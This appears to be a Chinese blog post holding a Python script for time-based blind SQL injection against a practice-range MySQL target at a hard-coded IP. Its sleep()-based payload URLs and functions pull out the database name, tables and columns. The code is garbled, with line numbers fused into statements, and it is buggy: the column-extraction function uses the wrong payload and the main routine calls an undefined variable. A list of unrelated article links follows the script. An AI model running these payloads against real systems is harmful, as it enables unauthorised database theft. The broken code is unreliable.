mysql路径猜解_猜解数据库(MYSQL)信息
1 importrequests2
3 #################################################################
4 #http://43.247.91.228:84/Less-1是靶场地址
5 #################################################################
6
7 url1 = "http://43.247.91.228:84/Less-1/?id=1' and if \8 (length(database())={_}, sleep(3), 0) --+"
9
10 url2 = "http://43.247.91.228:84/Less-1/?id=1' and if \11 (ascii(substr(database(),{_},1))={__}, sleep(3), 0) --+"
12
13 url3 = "http://43.247.91.228:84/Less-1/?id=1' and if \14 ((select count(*) from information_schema.tables \15 where table_schema={_})={__}, sleep(3), 0) --+"
16
17 url4 = "http://43.247.91.228:84/Less-1/?id=1' and if \18 ((ascii(substr((select group_concat(table_name) from \19 information_schema.tables where table_schema={_}), \20 {__},1)))={___}, sleep(3), 0) --+"
21
22 url5 = "http://43.247.91.228:84/Less-1/?id=1' and if \23 (ascii(substr((select group_concat(COLUMN_NAME) from \24 information_schema.COLUMNS where table_name = {_}), \25 {__}, 1))={___}, sleep(3), 0) --+"
26
27 #################################################################
28 #函数功能:猜解数据库名的长度
29 #参数意义:n 长度范围
30 #返回结果:成功:数据库名长度
31 #失败:0
32 #################################################################
33 defgetLength(n):34 for i in range(1, n + 1):35 payload = url1.format( _ =i)36 print(payload)37 ans =requests.get(payload)38 #响应时间大于等于3秒说明猜解正确
39 if (ans.elapsed.seconds >= 3):40 return(i)41 break
42 else:43 continue
44 return(0)45
46
47
48 #################################################################
49 #函数功能:猜解数据库名
50 #参数意义:length 数据库名的长度
51 #返回结果:成功:数据库名字符串
52 #失败:空字符串
53 #################################################################
54 defgetName(length):55 database = "" #数据库名初始化为空字符串
56 for i in range(1, length + 1):57 for j in range(1, 128):58 payload = url2.format( _ = i, __ =j)59 print(payload)60 ans =requests.get(payload)61 #响应时间大于等于3秒说明猜解正确
62 if (ans.elapsed.seconds >= 3):63 database +=chr(j)64 break
65 else:66 continue
67 return(database)68
69
70 #################################################################
71 #函数功能:猜解数据库中表的数量
72 #参数意义:database 数据库名
73 #n 表的数量范围
74 #返回结果:成功:表的数量
75 #失败:0
76 #################################################################
77 defgetTablesNum(database, n):78 for i in range(1, n + 1):79 payload = url3.format( _ = "'"+ database + "'", __ =i)80 print(payload)81 ans =requests.get(payload)82 if (ans.elapsed.seconds >= 3):83 return(i)84 break
85 else:86 continue
87 return(0)88
89 #################################################################
90 #函数功能:猜解表名
91 #参数意义:database 数据库名
92 #nameLengthTotal 所有表名的字符数及
93 #逗号分隔符数之和(
94 #表名之间用逗号分隔)
95 #返回结果:所有表名的list数组
96 #################################################################
97 defgetTablesName(database, nameLengthTotal):98 tables =[]99 table = ""
100 for i in range(1, nameLengthTotal + 1):101 for j in range(1, 128):102 payload = url4.format( _ = "'"+ database + "'",103 __ = i, ___ =j)104 print(payload)105 ans =requests.get(payload)106 if (ans.elapsed.seconds >= 3):107 table +=chr(j)108 break
109 else:110 continue
111 tb = table.split(",")112 for t intb:113 tables.append(t)114 return(tables)115
116
117
118 #################################################################
119 #函数功能:猜解某个表的字段名
120 #参数意义:table 表名
121 #attributeLengthTotal 全部字段名的字符数及用于分
122 #割的逗号数之和(字段名之间
123 #用逗号分割)的范围
124 #返回结果:字段名字符串list数组
125 #################################################################
126 defgetTableAttributes(table, attributeLengthTotal):127 attributes =[]128 attribute = ""
129 for i in range(1, attributeLengthTotal + 1):130 for j in range(1, 128):131 payload = url4.format( _ = "'"+ table + "'",132 __ = i, ___ =j)133 print(payload)134 ans =requests.get(payload)135 if (ans.elapsed.seconds >= 3):136 attribute +=chr(j)137 break
138 else:139 continue
140 ab = attribute.split(",")141 for a inab:142 attributes.append(a)143 returnattributes144
145
146
147 #################################################################
148 #
149 #主函数
150 #
151 #################################################################
152 if __name__=="__main__":153 #猜解数据库名的长度
154 length = getLength(10)155 #猜解数据库名
156 database =getName(length)157 #猜解表的数量
158 tablesNum = getTablesNum(database, 10)159 #猜解表名
160 tables = getTablesName(database, tableNum*8)161 print ("数据库名的长度为:" +str(length))162 print ("数据库名为:" +database)163 print ("数据库中表的数量为:" +str(tablesNum))164 print ("数据库中的表如下:")165 for table intables:166 print(table)167 print ("各个表的字段名如下:")168 for table intables:169 print(table)170 #猜解各个表的字段名
171 attributes = getTableAttributes(table, 100)172 for attribute inattributes:173 print(attribute)
mysql路径猜解_猜解数据库(MYSQL)信息相关推荐
- jsp mysql书店源码_使用jsp数据库mysql实现网上购物书店课程设计
[实例简介] 使用jsp数据库mysql实现网上购物书店课程设计 [实例截图] [核心代码] 213eb755-0d07-4324-a55e-76878ddbac95 └── Myshop ├── s ...
- mysql 临时文件写满_阿里云数据库MySQL临时文件导致实例空间满的解决办法
MySQL实例可能会由于查询语句的排序.分组.关联表产生的临时表文件,或者大事务未提交前产生的binlog cache文件,导致实例空间满,为避免数据丢失,RDS会对实例进行自动锁定,磁盘锁定之后,将 ...
- qt4.7 mysql 6.3 版本_详解Qt 4.7编译和访问Mysql驱动
Qt4.7编译和访问Mysql驱动是本文要介绍的内容,不多说,我们来看内容.今天摸索了一上午,终于用qt连上mysql了 1.安装一个mysql5.0以上版本*** 要求:(1)安装路径不要有空格和点 ...
- mysql mha配置文件详解_十四、MySQL MHA 高可用配置(一)
MHA 高可用 1.准备三台机器 IP:10.0.0.51 主机名:db01 内存:2G IP:10.0.0.52 主机名:db02 内存:2G IP:10.0.0.53 主机名:db03 内存:2G ...
- mysql存储过程按区间_针对新手的MYSQL存储过程详解_CSDN_ChenF的博客-CSDN博客
原文作者:橘左京i 原文标题:针对新手的MYSQL存储过程详解 发布时间:2021-02-22 10:03:18 一位爱好技术的橘右京的哥哥橘左京 前言:什么是存储过程?存储过程就像是一个接口,可以直 ...
- mysql 的dcl语句_详解MySQL第三篇—DCL语句
DCL(Data Control Language)语句:数据控制语句,用于控制不同数据段直接的许可和访问级别的语句.这些语句定义了数据库.表.字段.用户的访问权限和安全级别.主要的语句关键字包括 g ...
- mysql分区表详解_详解MySQL分区表
前言: 分区是一种表的设计模式,通俗地讲表分区是将一大表,根据条件分割成若干个小表.但是对于应用程序来讲,分区的表和没有分区的表是一样的.换句话来讲,分区对于应用是透明的,只是数据库对于数据的重新整理 ...
- mysql mgr 三节点_详解MySQL 5.7 MGR单主确定主节点方法
我们行MGR年底要上线了,每天都要看官方文档学习,做测试,坚持每天写一个小知识点,有想一起学习的么~ MySQL 5.7 MGR单主确定主节点是哪个,我们可以通过成员ID来判断,然后结合read_on ...
- 操作 mysql 不生成日志_详解MySQL的日志
MySQL日志 MySQL的日志记录了MySQL的日常操作和错误信息,通过这些日志我们可以知道MySQL内部发生的事情,可以为MySQL的优化和管理提供必要的信息. MySQL的日志主要有:二进制日志 ...
- mysql mysqldumpslow 如何配置_详解 慢查询 之 mysqldumpslow
查询mysql的操作信息 show status -- 显示全部mysql操作信息 show status like "com_insert%"; -- 获得mysql的插入次数; ...
最新文章
- 刻意练习:LeetCode实战 -- 不同的二叉搜索树
- vue 定位所在地_vue系列教程之微商城项目|商品购买
- 在一个成熟的分布式系统中 如何下手做高可用?
- Dirichlet分布与多项分布的共轭性
- “工业互联网平台“将成为工业制造企业的标配
- 《统计学习方法》—— 朴素贝叶斯方法、详细推导及其python3实现(二)
- redhat 添加ssh端口_Centos以及Redhat修改ssh端口
- SAP MM 顾问在实施项目工作中的苦逼和优势
- AD(PCB)知识总结
- 我收集了12款自动生成器,无聊人士自娱自乐专用
- 桌面计算机图标无法附到任务栏,win7系统电脑快捷方式无法添加到任务栏的解决方法...
- 如何利用CSS制作星星图案
- 【有利可图网】PS教程:制造低多边形熊猫头像
- 微信小程序跳转公众号
- 用java计算小数的双阶乘
- 克里奥服务器装系统,克里奥神模拟器
- thinkpad linux win7,Thinkpad t440 Win7+ubuntu双系统
- Python实战技巧(9)Python发送邮件
- 给你推荐一个文件阅读器:Neat Reader
- redis系列之哨兵模式
热门文章
- matlab制作萨克斯音乐,Cmusic Productions SAXBAND Soprano Sax KONTAKT 萨克斯
- java 中的 什么意思啊_JAVA 中的 - 是什么意思?
- python定义一个1xn矩阵_Python实现的矩阵类实例
- java的robot一直按住某个键_SHIFT键在CAD中使用技巧
- BeyondCompared4提示“缺少评估信息或损坏” 一条命令解决
- 为别人着想的表达才是最好的表达
- 基于JAVA+SpringBoot+Vue+Mybatis+MYSQL的办公一体化系统
- 基于JAVA+SpringMVC+Mybatis+MYSQL的高校学生健康档案管理系统
- 计算机专业中最受热议的4个专业,2018考研后身价倍增的4个专业盘点
- 所有controller interceptor_阿里二面:filter、interceptor、aspect应如何选择?很多人中招...